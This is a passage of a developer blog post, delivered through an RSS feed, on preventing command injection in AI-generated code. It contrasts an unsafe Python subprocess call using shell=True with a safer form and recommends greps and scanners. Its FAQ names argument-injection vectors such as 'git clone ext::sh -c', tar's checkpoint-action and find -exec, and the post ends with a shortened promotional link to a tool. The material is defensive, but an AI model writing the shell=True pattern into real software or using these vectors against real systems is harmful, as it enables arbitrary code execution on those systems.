&lt;p&gt;Python is the same shape. The trap there is &lt;code&gt;shell=True&lt;/code&gt;, which is the direct equivalent of &lt;code&gt;exec()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ❌
&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git clone &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;repo_url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; /tmp/import&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# ✅
&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;clone&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--depth&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/import&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One more thing worth doing: run the clone as a low-privilege user in a container with no outbound network except your allowlisted hosts. Defence in depth matters here because the failure mode is code execution, not data disclosure.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Is execFile safe from command injection?&lt;/strong&gt;&lt;br&gt;
A: &lt;code&gt;execFile&lt;/code&gt; removes the shell, so shell metacharacters cannot inject commands. It does not stop argument injection, where input starting with a hyphen is parsed as a flag by the program you are calling. Validate the input and pass &lt;code&gt;--&lt;/code&gt; before user-controlled values.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Why is sanitizing shell metacharacters not enough to stop CWE-78?&lt;/strong&gt;&lt;br&gt;
A: Because many command-line tools execute code through their own flags and transports, with no shell syntax involved. &lt;code&gt;git clone ext::sh -c ...&lt;/code&gt;, &lt;code&gt;tar --checkpoint-action=exec=...&lt;/code&gt; and &lt;code&gt;find -exec&lt;/code&gt; all run commands using ordinary characters that a metacharacter blocklist allows through.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: How do I check if AI-generated code in my project has command injection?&lt;/strong&gt;&lt;br&gt;
A: Grep for &lt;code&gt;exec(&lt;/code&gt;, &lt;code&gt;execSync(&lt;/code&gt;, &lt;code&gt;shell=True&lt;/code&gt; and &lt;code&gt;os.system(&lt;/code&gt; and check whether any argument is built from a request body, query string, filename or environment value. A SAST scanner such as semgrep flags this pattern automatically with its default rulesets.&lt;/p&gt;

&lt;p&gt;I have been running &lt;a href="https://tinyurl.com/2dxtt2gz" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; for this. It hooks into Cursor and Claude Code as an MCP server and flags &lt;code&gt;exec&lt;/code&gt; with interpolated input before I move on, along with the blocklist "fix" that follows it. Even a basic pre-commit hook with semgrep and gitleaks will catch most of what is in this post. The important thing is catching it while the code is still in front of you, whatever tool you use.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>ai</category>
      <category>devsecops</category>
    </item>
  </channel>
</rss>
